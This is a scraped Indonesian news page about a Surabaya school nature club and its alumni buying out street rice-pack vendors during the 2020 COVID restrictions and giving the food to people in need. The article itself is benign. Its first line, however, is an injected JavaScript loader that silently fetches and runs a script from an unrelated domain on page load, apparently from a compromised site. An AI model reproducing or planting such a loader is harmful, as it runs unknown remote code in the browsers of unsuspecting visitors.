(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Bantu Masyarakat Kecil dengan Gerakan “Tebas Nasi Bungkus”


KANALKALIMANTAN.COM, SURABAYA – Kebijakan social distancing dari pemerintah memberikan dampak langsung bagi kehidupan masyarakat, khususnya sisi perekonomian. Hampir semua masyarakat kalangan bawah terancam kebutuhan pokoknya, terutama pangan.

Bermula dari diskusi di grup WhatsApp, anggota SMALAPALA (Pecinta Alam SMA Negeri 5 Surabaya) dan para alumni menggagas kegiatan “tebas nasi bungkus” dan kembali dibagikan kepada orang-orang di sekitar yang membutuhkan.

Langkah awal dilakukan pada Selasa (7/4/2020). Berbekal donasi anggota yang terkumpul, sejumlah anggota SMALAPALA bergerak ke sejumlah kawasan di Surabaya mencari penjual nasi bungkus keliling dan membeli semua dagangan mereka.

Salah satu alumnus, Rudy berharap dagangan tersebut segera habis dan si penjual nasi bisa segera pulang. “Konsepnya sederhana. Belilah nasi bungkus yang dijual di pinggir jalan, 1-2 bungkus atau boleh diborong semuanya. Dengan begitu dagangannya segera habis dan dia bisa segera pulang,” ujarnya.

Ia menambahkan, teknis pembagiannya dengan meminta tolong kepada si penjual nasi bungkus untuk membagikan ke orang yang membutuhkan di sekitar tempat berjualan.

“Dia paling tahu siapa yang butuh dibantu. Selain itu pembagiannnya tidak akan menimbulkan kerumunan massa dan biasanya si penjual ikut happy karena merasa ikut berbagi,” tandasnya.

Rencananya gerakan ini dilakukan dua kali dalam sepekan. Dalam satu gerakan ditargetkan 100 bungkus nasi yang dibeli dan dibagikan sampai batas waktu yang tidak terbatas.

Panitia gerakan “Tebas Nasi Bungkus” SMALAPALA ini mengaku tidak menerima donasi dari pihak luar. Dana yang terkumpul berasal dari anggota SMALAPALA dan alumni.

“Mohon maaf kami tidak menerima donasi dari pihak luar. Kami berharap gerakan ini menular kepada khalayak dan mereka bisa melakukan gerakan serupa di sekitar tempat tinggalnya,” tegas Rudy. (kanalkalimantan.com/rossi/andy)

 

 

Reporter : Rossi/Andy
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.